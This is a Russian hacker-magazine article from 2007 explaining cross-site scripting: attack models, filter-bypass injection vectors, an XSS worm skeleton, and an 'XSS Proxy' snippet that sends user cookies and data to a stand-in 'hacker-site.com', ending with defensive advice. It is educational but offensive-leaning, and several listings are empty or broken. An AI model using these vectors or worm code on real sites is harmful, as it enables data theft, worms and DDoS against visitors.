Архив спецвыпуска журнала Хакер на www.wisesoft.ru, номер 075, ключ ко многим дверям

Издательский дом ООО "Гейм Лэнд"

СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #75, ФЕВРАЛЬ 2007 г.

ключ ко многим дверям

МАКСИМ ОРЛОВСКИЙ

Хакер, номер #075, стр. 050

XSS

ВО МНОГИХ XSS УЖЕ ДАВНО НЕТ НИКАКОГО КРОСС-САЙТОВОГО И ТЕМ БОЛЕЕ УЖ СКРИПТИНГА. НА САМОМ ДЕЛЕ ВСЕ ПРОСТО — ЛЮБАЯ ВОЗМОЖНОСТЬ ВОЗДЕЙСТВИЯ НА (ИЛИ ВЗАИМОДЕЙСТВИЯ С, ИЛИ ПРОСТО ПЕРЕДАЧИ ИНФОРМАЦИИ К И ОТ) УДАЛЕННОГО ПОЛЬЗОВАТЕЛЯ, ОСУЩЕСТВЛЯЕМАЯ ЧЕРЕЗ УЯЗВИМЫЙ САЙТ УДАЛЕННЫМ ХАКЕРОМ, И БУДЕТ XSS. ЗНАЮЩИЕ ЛЮДИ УТВЕРЖДАЮТ, ЧТО ПРАВИЛЬНАЯ РАСШИФРОВКА XSS — ХАКЕРУ СДАВШИЙСЯ САЙТ

[в вашем алкоголе крови не обнаружено.]

Типичная XSS-атака состоит из следующих этапов:

1 ПОИСКА УЯЗВИМОСТИ;

2 ВЫБОРА МЕТОДА ПЕРЕДАЧИ ИНФОРМАЦИИ ИЛИ ВОЗДЕЙСТВИЯ НА ПОЛЬЗОВАТЕЛЯ ЧЕРЕЗ XSS-ВЕКТОР;

3 СОЗДАНИЯ ДОПОЛНИТЕЛЬНЫХ ИНСТРУМЕНТОВ ДЛЯ ПОДДЕРЖКИ XSS-ПРОКСИ, УДАЛЕННО РАЗМЕЩЕННЫХ ФАЙЛОВ И ПРОЧЕГО;

4 ПОИСКА СПОСОБА РАСПРОСТРАНЕНИЯ XSS-ВЕКТОРА;

5 СОСТАВЛЕНИЯ ЭФФЕКТИВНОГО XSS-ВЕКТОРА;

6 УМЕЛОГО ЭКСПЛУАТИРОВАНИЯ ПОЛУЧЕННЫХ ДАННЫХ.

Попытаемся детально разобрать общую идеологию, классификацию и дать эвристический алгоритм современных XSS-атак — так сказать, осуществить полное препарирование кросс-сайтового скриптинга.

[классификация — вскрытие показало, что сайт умер от ... XSS.]

XSS-атаки друг от друга отличает способ (а точнее сказать, модель) передачи данных между клиентом, сервером и хакером. В целом на настоящий момент известно три основных модели — смотри рисунок 1.

[1 XSS DOM.]

В этой модели уязвимость сайта заключается в том, что не серверный скрипт, а именно клиентский javascript извлекает данные из URL страницы и внедряет их в HTML страницы через объекты Document Object Model (DOM, отсюда и название модели атаки). Итак, уязвимость сайта находится в HTML- или javascript-файлах, и стоит пользователю открыть ссылку, содержащую XSS-вектор хакера, как содержимое страницы будет изменено и в нее уже непосредственно на машине клиента будет внедрен код из тела вектора.

Данная модель атаки по своему результату и способу построения вектора полностью аналогична классической XSS-атаке (она идет следующим пунктом). Единственное что, встречается она достаточно редко. Однако если хакер не может взломать скрипты сервера и найти в них дыру, он обязательно прочтет весь javascript-код (благо он всегда доступен для просмотра в отличие от того же PHP). И, возможно, именно там он и найдет уязвимость.

ЛИСТИНГ

Пример уязвимой страницы

<HTML>

<TITLE>Welcome!</TITLE>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

<BR>

Welcome to our system

...

</HTML>

ЛИСТИНГ

Пример вектора

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

Другим важным моментом в отношении этого типа атак является то, что сервер и браузер атакуемого пользователя не осуществляли автоматического преобразования символов «<» и «>» в строке адреса в URL-encoded значения «%3C» и «%3E». Но храбрые хакеры всегда идут в обход. Обходным маневром в этом случае может оказаться использование значка «#» (хеш или диез), ведь кусок URL после этого символа не является частью запроса, и такие браузеры как 6 Internet Explorer и Mozilla его на сервер не передают. Тогда атака с использованием вектора типа http://www.vulnerable.site/welcome.html#name=<script>alert(document.cookie)</script> вполне может оказаться удачной.

[2 «классический» XSS.]

Наиболее распространенная модель атак. В этой модели сервер имеет так называемую «непостоянную» (вообще, в русском языке трудно подобрать аналог для английского non-persistent или reflected) уязвимость. Если серверный скрипт недостаточно тщательно фильтрует переданные ему параметры, то тело XSS-вектора попадает в результирующий HTML, CSS либо javascript-код непосредственно в браузер клиента (смотри рисунок 1). Да, в CSS тоже можно внедрять исполняемый код через использование конструкций «url("javascript:... ")».

[3 «персистирующий» XSS.]

Фактически, этот тип атак связан с перманентным размещением параметров для скрипта, передаваемых от хакера на сервер, непосредственно в базе данных сервера и последующей выдачей миллионам посетителей сайта (чаще всего это форумы, блоги и т.п.). У этой модели есть два гигантских преимущества перед предшественниками: здесь не требуется рассылка данных от хакера к пользователю (все делается через сервер, и клиент ничего и никогда не заподозрит), и возможно создание так называемых XSS-червей — каждый посетитель уязвимого форума/блога исполнит код хакера, а этот код может размещать сам себя на других страницах уязвимого форума!

[структура XSS-червя.]

Во-первых, сам червь должен включать в себя код для постинга на форуме/блоге. Для таких задач идеально подходит технология AJAX и активно используемый с недавних пор объект JavaScript под названием XMLHttpRequest.

ЛИСТИНГ

Пример XSS-червя

function HTTPRequest (url)

{

// branch for native XMLHttpRequest object

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send(null);

// branch for IE/Windows ActiveX version

} else if (window.ActiveXObject) {

req = new ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send();

}

HTTPRequest ("http://vulnerable-blog.com/vulerable-script.php?vulnerable-arg=<iframe src=http://hacker-site/xss.js>");

Весь этот код помещается на сайт, доступный для хакера, и грузится в браузеры посетителей форума/блога через пост, содержащий текст вида «<iframe src=http://hacker-site/xss.js>». Подобным образом, кстати, была произведена атака на блог «MySpace», когда в течение нескольких часов он был подвергнут из-за роста числа запросов от червей жесткому DDoS’у. Так что DDoS — это еще одна фишка для XSS-атак третьего типа. Допустим, что надо подвергнуть DDoS-атаке некий сервер (который даже не имеет никакого отношения к XSS). Пусть каждый клиент направит свой запрос на указанный сервер, используя тот же объект XMLHTTPRequest. Вуа ля, вот тебе десятки и десятки тысяч запросов в минуту. При этом ничто не мешает комбинировать внутри одного скрипта код для DDoS-атаки и код для распространения по форуму, чтобы увеличить число DDoS-запросов. Вот и скажи после этого, что XSS не представляет ничего опасного и серьезного.

Идем далее: рассылка спама. Всего-то стоит внедрить в тело XSS-вектора код для отправки почтовых сообщений через публичные серверы вебмейла, желательно не через один (если только ты не хочешь его смерти от DDoSа), и вот тебе тонны корреспонденции. Опять же, в письмах можно рассылать адреса XSS-уязвимых сайтов, в которые встроены те же самые XSS-векторы. Фактически, полет фантазии в этой области неограничен, ограничено лишь число серверов, имеющих такой «приятный» тип XSS-уязвимости, как перманентное размещение кода.

[составление XSS-векторов для второй модели атак.]

Удивительно, насколько часто, говоря об XSS, забывают про вопрос создания внедряемых XSS-векторов (фрагментов кода, который будет выполняться там), а ведь это, по сути, сердце взлома, сама отмычка. Все равно что говорить о том, сколько в банке денег, рассказывать о типах замков на сейфе и о том, что потом делать с честно взятыми ассигнациями, но при этом ни слова не упомянуть об изготовлении отмычки для проникновения в сейф. Так что проведем некоторый ликбез.

Подходя к вопросу того, как же именно лучшим образом составить инъекционный XSS-вектор, просто невозможно не процитировать классика отечественной науки Ландау — «это вам не физика, здесь думать надо». Только он это говорил о преферансе, а не о XSS, но аналогия вполне уместная. Талант преферансиста, равно как и «XSS-векториста» — это интуиция взломщика, помноженная на эрудицию специалиста и мастерство комбинирования Остапа Бендера. И не думай, что все это так уж недоступно. Напротив, создать красивый вектор для любого из типов XSS — это как два байта переслать. Вот и произведем по очереди разбор полетов по каждому из пунктов, дабы талант великого Бендера в купе с гениальностью Нобелевского лауреата осенил и нас.

[смена контекста для вектора.]

Начнем с азов — структуры этого самого вектора. Что же такое вектор? Вектор — это направленный отрезок, имеющий начало и конец. В нашем случае начало вектора — это кусок кода, целью которого является перевод изначального текстового контекста в контекст исполняемый. Так, для URL-векторов началом вектора будет служить в самом простом случае фрагмент типа:

ЛИСТИНГ

text'><script language='javascript'>

Если интересующий сайт содержит скрипт, передающий в HTML-код содержимое параметра из GET-запроса, не фильтруя (или криво фильтруя) наличие скриптовых тэгов, этот пример должен сработать. В первой части приведенного примера просто закрываем HTML-контекст, это надо делать только в том случае, если уязвимый сайт вставляет содержимое переданного параметра в конструкцию типа:

ЛИСТИНГ

Поэтому, когда совместим XSS-вектор и то, что идет в оригинальном тексте HTML, то получим:

ЛИСТИНГ

Разумеется, для того чтобы правильно осуществить смену контекста, надо предварительно проанализировать исходный HTML-код уязвимой страницы. Игнорирование этого простого момента на первый взгляд хоть и может дать вполне рабочий вектор, но в большинстве случаев оказывается, что вектор работает только в одном браузере и не обладает кросс-браузерной совместимостью. Поэтому секрет кросс-браузерной работы номер один звучит просто: в исходной HTML-странице все важно для корректного составления вектора. Если сервер выдает страницы XHTML, а не HTML (что должно проверяться по DOCTYPE и MIME), то не поленись в случае, указанном выше, использовать код:

ЛИСТИНГ

text'/><script language='javascript'>

Дополнительный закрывающий слеш добавит лишнюю гарантию корректной работы вектора на любой платформе и браузере.

Для других, надо сказать, значительно менее распространенных типов векторов (и даже тех, что еще возникнут только в перспективе внедрения новых технологий) к вопросу надо подходить схожим образом: передаешь HTTP-вектор — не забудь дать последовательность корректного заголовка HTTP и правильную смену контекста. Скажем, есть гипотетический форум, который допускает загрузку на него файлов, при этом в скрытом параметре параллельно передается кодировка загружаемого файла. Тогда простой вектор может дать возможность передать конечному пользователю вместо файла требуемый скрипт, который исполнится в браузере всех посетивших сайт:

ЛИСТИНГ

http://vlunerable.site/script_for_uploading?file=eto-tipa-kartinka.js&encoding=utf-8%0AContent-type:%20text/html%0A%0A<html><head><script language='javasrript' src='...'></head></html>

Для простоты восприятия специально до конца не перекодировали символы в формат URL-encoded.

С первой частью вектора, закрытием контекста, более или менее понятно. Но это были цветочки, сейчас начинаются ягодки. Из приведенных примеров ты самостоятельно уяснил, что после закрытия контекста следует встраивание кода, который, естественно, должен быть предварен чем-то, что поясняет браузеру, что код должен передаваться на исполнение соответствующим образом. Самый простой способ это сделать в тех же URL-векторах — вырезать тэг «<script...». Однако большинство современных сервер-сайд-скрипт-киддеров, сорри, кодеров уже научились вырезать не только тэги «<script...», но и на пару с ними и «<object...», и «<embed...», и даже «<iframe...». Что делать в таких ситуациях?

Смотри в корень, то есть в код! Внимательно проверяй все места, где уязвимый параметр вставляется в HTML уязвимой страницы уязвимым серверным скриптом. Если параметр хоть раз встречается между тэгов «<head>...</head>», то можно использовать обманный ход «http-equiv». Как? А вот так:

ЛИСТИНГ

<title>Here-goes-parameter-from-URL</title><meta http-equiv='Location' content='http://our.cool.hacker.site'>

Если же в параметре указывается имя css-страницы для выбора стиля представления, то можно использовать вектор:

ЛИСТИНГ

И так далее...

Но если скрипт так хитер, что преобразует все угловые скобки тэгов в выражения типа «<»? Тогда еще раз смотришь в код уязвимой HTML-страницы. Большинство HTML-тэгов поддерживают методы onclick, onmouseover и так далее. Поэтому если хоть в одном месте параметр вставляется в HTML-код в виде атрибута любого тэга, можно без использования угловых скобок внедрить JavaScript как в приведенном примере:

ЛИСТИНГ

Не работает? Умный сервер вырезает атрибуты html events? Превращает одинарные и двойные кавычки в значки типа «"»? Думаем дальше. В качестве значений «src» к тэгам изображений, «href» гиперссылок и прочего можно указывать конструкции типа «javascript:..code..». И не только в этих тэгах. Но, скажем, тот же Эксплорер 6 исполнит «<table background='javascript:....'>» и массу подобных вариантов. Так что если параметр из URL передается в эти тэги, то использовать такую возможность — дело техники. Другие решения из этой области: использовать в слове javascript пробелы, кодировать символы в HTML-entities (j и т.д.), применять нестандартные events (onAbort, onActivate, onAfterPrint, onAfterUpdate, onBeforeActivate, onBeforeCopy и другие).

К сожалению, объем статьи не позволяет перечислить все методы обхода проверок для смены контекста вывода скрипта на исполняемый в браузере пользователя. Поверь, используя мозги по назначению, ты и сам сможешь находить новые и новые варианты.

[исполняемый код для XSS.]

Завершив разбор первых двух частей вектора, рассмотрим то, что составляет его тело — код. И как этот код может и должен работать. Здесь вновь придется вводить классификацию, ибо способов построения тела вектора может быть бесчисленное множество (все зависит от фантазии). Рассмотрим три основных типа: HTML-векторы, векторы, содержащие javascript, и векторы, внедряющие объекты (например, swf-файлы).

С первым все достаточно ясно, он позволяет модифицировать структуру документа. В чем же интерес данного способа XSS? Во-первых, он может быть применен для дефейса сайтов или для «порчи» имиджа компаний. Особо эффективный и опасный HTML-XSS возможен для третьей модели атак, когда внедренный код размещается непосредственно на сайте и становится виден всем его посетителям. Так, скажем, сайт veryimportantcorporation.com размещает у себя список самых популярных запросов от пользователей, при этом форма сбора запросов не содержит фильтрации HTML-тэгов. В этом случае достаточно просто организовать большое число запросов с содержимым по типу «<iframe...» и помещать в состав сайта рекламу с сайта их прямых конкурентов :). Но это примитивно. Гораздо большего результата можно достичь, если применять внедряемый javascript, который модифицирует DOM документа, меняя его заглавие, размещенные изображения и текстовые строки нужным образом.

Реального эффекта и получения данных от пользователей можно достичь, если использовать динамические скрипты javascript или внедряемые объекты. При таком подходе возможности XSS практически безграничны.

Часто думают, что с помощью внедрения HTML можно достичь одного — модифицировать внешний вид страницы сайта. При этом ни о каком получении данных от пользователя не идет и речи. Но это не так. «Чувствительную информацию» (sensetive information — пароли, логины, явки и прочие сведения о пользователе) можно добыть и без javascript’a, и к тому есть ряд подходов. В первую очередь это уже упомянутый XMLHttpRequest и технология AJAX (так называемый XSS-AJAX). Хакер на подвластной ему территории какого-либо веб-сервера размещает PHP-страницу, собирающую в лог (не важно - тестовый файл, базу данных или еще что) все те параметры, что ему передаются, а так же куки. С другой стороны, XSS-вектор содержит код, который через XMLHttpRequest передает на этот скрипт все, что надо получить от пользователя. Такой способ получил название XSS Proxy:

ЛИСТИНГ

function HTTPRequest (url)

{

// branch for native XMLHttpRequest object

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send(null);

// branch for IE/Windows ActiveX version

} else if (window.ActiveXObject) {

req = new ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send();

}

return (req.responseText);

}

var XSSCode = HTTPRequest ("http://hacker-site.com/xss.php?everething-needed-is-listed-here");

[beyond the invisible.]

XSS повсеместен. Глупо не обращать на него внимание при создании сайтов. Развитие веба ведет к усложнению, а каждое усложнение — больше потенциальных дыр и возможностей для хакера. Усовершенствование систем защиты порождает усовершенствование инструментария для нападения. XSS в CSS и флеше, XSS-черви — это только начало. Мы еще станем свидетелями грядущих изощренных атак, реализованных по принципам XSS. Внедрение и расширение технологий и стандартов веб-сервисов, RSS/Atom, XLink и XPath — основа для будущих видов атак и для дальнейшей эволюции методов XSS.

МНЕНИЕ ЭКСПЕРТА

СПЕЦ:

ЧТО МОЖНО ОТНЕСТИ К МИФАМ О XSS?

МАКСИМ ОРЛОВСКИЙ:

1 «НЕ ОПАСНО И ЗАЩИЩАТЬСЯ НЕ НАДО».

ОПАСНОСТЬ ОТ XSS НЕДООЦЕНИВАЕТСЯ. В ПЕРВУЮ ОЧЕРЕДЬ ИЗ-ЗА ТОГО, ЧТО САМУЮ ШИРОКУЮ ИЗВЕСТНОСТЬ ПОЛУЧИЛИ ПЕРВЫЕ XSS-АТАКИ, КОТОРЫЕ ДЕЙСТВИТЕЛЬНО НЕ МОГЛИ НАНЕСТИ СЕРЬЕЗНЫЙ УРОН. ТЕМ НЕ МЕНЕЕ, СОВРЕМЕННЫЕ МЕТОДЫ XSS ЗАЧАСТУЮ ГОРАЗДО БОЛЕЕ ОПАСНЫ. ДОСТАТОЧНО УПОМЯНУТЬ УРОН ОТ ПЕРВОГО XSS-ЧЕРВЯ, ЗАПУЩЕННОГО БЛАГОДАРЯ ДЫРАМ В ПУБЛИЧНОМ БЛОГЕ. УРОН ВПОЛНЕ МАТЕРИАЛЬНЫЙ И ИЗМЕРЯЕМЫЙ КАК В ДЕНЕЖНЫХ ЗНАКАХ, ТАК И ГОДАХ ЗАКЛЮЧЕНИЯ, ГРОЗЯЩИХ XSS-ХАКЕРУ.

2 «НИЧЕГО ОСОБО ИМ НЕ СДЕЛАЕШЬ».

ПОПРОБУЮ КЛАССИФИЦИРОВАТЬ ТОТ УЩЕРБ, КОТОРЫЙ МОЖЕТ НАНЕСТИ XSS. ВО-ПЕРВЫХ, ЭТО УЩЕРБ ИМИДЖУ КОМПАНИИ-ДЕРЖАТЕЛЯ САЙТА. ИЗМЕНЕНИЕ И ИНЪЕКЦИЯ ТЕКСТА В HTML-СТРАНИЦЫ И РАССЫЛКА ТАКИХ XSS-ВЕКТОРОВ КЛИЕНТАМ КОМПАНИИ МОЖЕТ НАНЕСТИ СУЩЕСТВЕННЫЙ УЩЕРБ. ПОМНИТСЯ, КТО-ТО СМОГ ДАЖЕ ВНЕДРИТЬ В ОДИН ИЗ НОВОСТНЫХ САЙТОВ ИНТЕРВЬЮ БИЛЛА ГЕЙТСА О ПРЕИМУЩЕСТВАХ ОПЕРАЦИОННЫХ СИСТЕМ ЛИНУКС ПО СРАВНЕНИЮ С ВИНДОУЗ. ВО-ВТОРЫХ, ЭТО ВОЗМОЖНОСТЬ ПОХИЩЕНИЯ ЗАКРЫТОЙ ИНФОРМАЦИИ, ЧТО ОПЯТЬ ЖЕ ПОТЕНЦИАЛЬНО ВЕДЕТ К ЗНАЧИТЕЛЬНОМУ ЭКОНОМИЧЕСКОМУ УЩЕРБУ. В-ТРЕТЬИХ, ЭТО ВОЗМОЖНЫЕ DDOS-АТАКИ, ОРГАНИЗУЕМЫЕ С ПОМОЩЬЮ XSS-ЧЕРВЕЙ. НУ И, В-ЧЕТВЕРТЫХ, ПРИ ОСОБОЙ УДАЧЕ ХАКЕРА И НАЛИЧИИ У КЛИЕНТА УЯЗВИМЫХ «ЭКСПЛОРЕРОВ» — ВОЗМОЖНОСТЬ КОНТРОЛЯ ПОЛЬЗОВАТЕЛЬСКОГО БРАУЗЕРА, ДОСТУПА К ЛОКАЛЬНЫМ ФАЙЛАМ И ПРОЧИЕ «ИНТЕРЕСНОСТИ».

3 «ТЕМА XSS ДАВНО РАСКРЫТА».

ИНОГДА У МЕНЯ СКЛАДЫВАЕТСЯ ПРОТИВОПОЛОЖНОЕ ВПЕЧАТЛЕНИЕ — ТЕМА XSS БЕСКОНЕЧНА И НЕ МОЖЕТ БЫТЬ ОХВАЧЕНА И ПОЛНОСТЬЮ РАСКРЫТА ДАЖЕ В БОЛЬШОМ ОБЗОРЕ. ВСЕ НОВЫЕ ВВЕДЕНИЯ И ПРАКТИЧЕСКИ КАЖДЫЙ СВЕЖИЙ СТАНДАРТ ОТ W3C — ЭТО НОВЫЕ ВОЗМОЖНОСТИ ДЛЯ XSS. ТЕОРЕТИЧЕСКИ, XSS МОЖЕТ БЫТЬ РЕАЛИЗОВАН НА ЛЮБОМ МАТЕРИАЛЕ, ПРЕДАВАЕМОМ СЕРВЕРОМ НА ЗАПРОС КЛИЕНТА, ЕСЛИ СЕРВЕР ИСПОЛЬЗУЕТ КЛИЕНТСКИЕ ДАННЫЕ В КАЧЕСТВЕ ФРАГМЕНТОВ ДЛЯ СВОЕГО ОТВЕТА. ПОЭТОМУ В БЛИЖАЙШЕЕ ВРЕМЯ СООБЩЕСТВО ПРОДОЛЖИТ РАДОВАТЬ НАС ВСЕ БОЛЕЕ ИЗОЩРЕННЫМИ МЕТОДАМИ КРОСС-САЙТОВОГО СКРИПТИНГА.

МНЕНИЕ ЭКСПЕРТА

СПЕЦ:

КАК ОБЕЗОПАСИТЬ СВОЙ САЙТ ОТ XSS?

МАКСИМ ОРЛОВСКИЙ:

ЕДИНСТВЕННАЯ СИТУАЦИЯ, КОГДА ТЫ МОЖЕШЬ НЕ БЕСПОКОИТЬСЯ О БЕЗОПАСНОСТИ САЙТА В ПЛАНЕ XSS — ЭТО ЕСЛИ ОН СОДЕРЖИТ ИСКЛЮЧИТЕЛЬНО СТАТИЧЕСКИЕ TXT И HTML-СТРАНИЦЫ, БЕЗ JAVASCRIPT, VBSCRIPT, JAVA И ВСТРОЕННЫХ ОБЪЕКТОВ. ТО ЕСТЬ ЕСЛИ ОН НИКОГДА НЕ ПОЛУЧАЕТ ДАННЫЕ ОТ ПОЛЬЗОВАТЕЛЕЙ И НЕ РАБОТАЕТ С БАЗАМИ ДАННЫХ, КОТОРЫЕ МОГУТ БЫТЬ МОДИФИЦИРОВАНЫ ИЗВНЕ. В ОСТАЛЬНЫХ СЛУЧАЯХ XSS ВОЗМОЖЕН, И ИЗБЕЖАТЬ ЕГО ДОСТАТОЧНО СЛОЖНО (ПО КРАЙНЕЙ МЕРЕ, ЭТО ТРЕБУЕТ ОЧЕНЬ ВНИМАТЕЛЬНОГО И ТЩАТЕЛЬНОГО ПОДХОДА К НАПИСАНИЮ КОДА). НО ЕСТЬ РЯД ПРАКТИЧЕСКИХ СОВЕТОВ, КОТОРЫЕ ХОТЬ И НЕ ГАРАНТИРУЮТ АБСОЛЮТНУЮ БЕЗОПАСНОСТЬ, НО СУЩЕСТВЕННО УВЕЛИЧИВАЮТ ШАНСЫ ИЗБЕЖАТЬ ОБИЛИЯ ДЫРОК В СВОИХ САЙТАХ.

1 ИСПОЛЬЗОВАТЬ ЗАРЕКОМЕНДОВАВШИЕ СЕБЯ И ПРОВЕРЕННЫЕ ВРЕМЕНЕМ OPEN SOURCE FRAMEWORKS (ПО КРАЙНЕЙ МЕРЕ, ТЕ ИХ КОМПОНЕНТЫ ИЛИ ИЗБРАННЫЕ ФУНКЦИИ, КОТОРЫЕ СВЯЗАНЫ С ФИЛЬТРАЦИЕЙ ДАННЫХ ОТ ПОЛЬЗОВАТЕЛЯ). ПРОВЕРКА ВРЕМЕНЕМ ОПРЕДЕЛЯЕТСЯ ПО ТОМУ, НАСКОЛЬКО ЧАСТО В ПУБЛИЧНЫХ БАГ-ЛИСТАХ ПУБЛИКУЮТСЯ ВНОВЬ НАЙДЕННЫЕ XSS-ДЫРЫ В ЭТИХ ФРЕЙМВОРКАХ. ТОЛЬКО НЕ ЗАБЫВАЙ, ЧТО «МАЛО НАЙДЕННЫХ ДЫР» — ЭТО НЕ ВСЕГДА КАЧЕСТВО СИСТЕМЫ, ЗАЧАСТУЮ ЭТО ПРОСТО ЕЕ МАЛАЯ ПОПУЛЯРНОСТЬ. ПОЭТОМУ ЕСЛИ ГОВОРИТЬ ОБ OPEN SOURCE, ТО НУЖЕН ИЗВЕСТНЫЙ, ШИРОКО ИСПОЛЬЗУЕМЫЙ И КАЧЕСТВЕННО РЕАЛИЗОВАННЫЙ КОД.

2 НИКОГДА НЕ ДОВЕРЯТЬ НИЧЕМУ, ЧТО ПОЛУЧЕНО ОТ ПОЛЬЗОВАТЕЛЯ. ОБ ЭТОМ ГОВОРЯТ МНОГИЕ И МНОГО, ТОЛЬКО ЗАБЫВАЮТ ПЕРЕЧИСЛЯТЬ ВСЕ ПОТЕНЦИАЛЬНЫЕ ИСТОЧНИКИ ДЛЯ ПОЛУЧЕНИЯ ПОЛЬЗОВАТЕЛЬСКОЙ ИНФОРМАЦИИ. ТАК ВОТ, ДАННЫЕ ОТ ПОЛЬЗОВАТЕЛЯ - ЭТО НЕ ТОЛЬКО ПАРАМЕТРЫ В GET И POST-ЗАПРОСАХ. ПОМИМО ЭТОГО СЛЕДУЕТ ОБРАЩАТЬ ВНИМАНИЕ НА ДАННЫЕ, ЧИТАЕМЫЕ СКРИПТАМИ ИЗ ЛОКАЛЬНЫХ ФАЙЛОВ, И ДАННЫЕ, ЧИТАЕМЫЕ ИЗ БАЗЫ ДАННЫХ. ВЕДЬ ЗАЧАСТУЮ ХАКЕР ИЛИ ЖЕ ПРОСТО СОТРУДНИК-ЗЛОУМЫШЛЕННИК МОЖЕТ ПОЛУЧИТЬ ДОСТУП К ЛОКАЛЬНЫМ ФАЙЛАМ ИЛИ БАЗЕ ДАННЫХ, А ЭТО САМЫЙ ЭФФЕКТИВНЫЙ ВИД XSS-АТАКИ: ВНЕДРЕННЫЕ ДАННЫЕ ПЕРЕДАЮТСЯ ВСЕМ ПОСЕТИТЕЛЯМ ФАЙЛА, И ДЛЯ ЭТОГО НЕ НУЖНЫ ПОЧТОВЫЕ РАССЫЛКИ. ИМЕННО НА ТАКОМ ТИПЕ XSS И РЕАЛИЗУЮТСЯ САМЫЕ ДЕСТРУКТИВНЫЕ ЕГО ФОРМЫ — ЧЕРВИ И ПРОЧЕЕ.

3 БЕЗОПАСНОСТЬ БОЛЕЕ ВСЕГО ЗАВИСИТ НЕ ОТ ИСПОЛЬЗУЕМЫХ ПРАВИЛ, РЕКОМЕНДАЦИЙ, РЕЦЕПТОВ, ИСТОЧНИКОВ КОДА И ПРОЧЕГО, А ИМЕННО ОТ ТОГО, КТО ВСЕ ЭТО ДЕЛАЕТ И КОНТРОЛИРУЕТ — ОТ ПРОГРАММИСТА И АДМИНИСТРАТОРА. ПРАВИЛО «ДОРАБОТАТЬ НАПИЛЬНИКОМ» — СВЯТОЕ. КАЖДЫЙ ПРОДУКТ, НЕСМОТРЯ НА ДОВЕРИЕ К АВТОРУ КОДА (БУДЬ ТО ДРУГ, ТЫ САМ ИЛИ OPEN SOURCE PROJECT), ДОЛЖЕН БЫТЬ ВЕРИФИЦИРОВАН И ПРОВЕРЕН В САМЫХ РАЗЛИЧНЫХ СИТУАЦИЯХ ПРОФЕССИОНАЛАМИ — ПРОЦЕДУРА, ИМЕНУЕМАЯ АУДИТОМ БЕЗОПАСНОСТИ НЕОБХОДИМА!

Содержание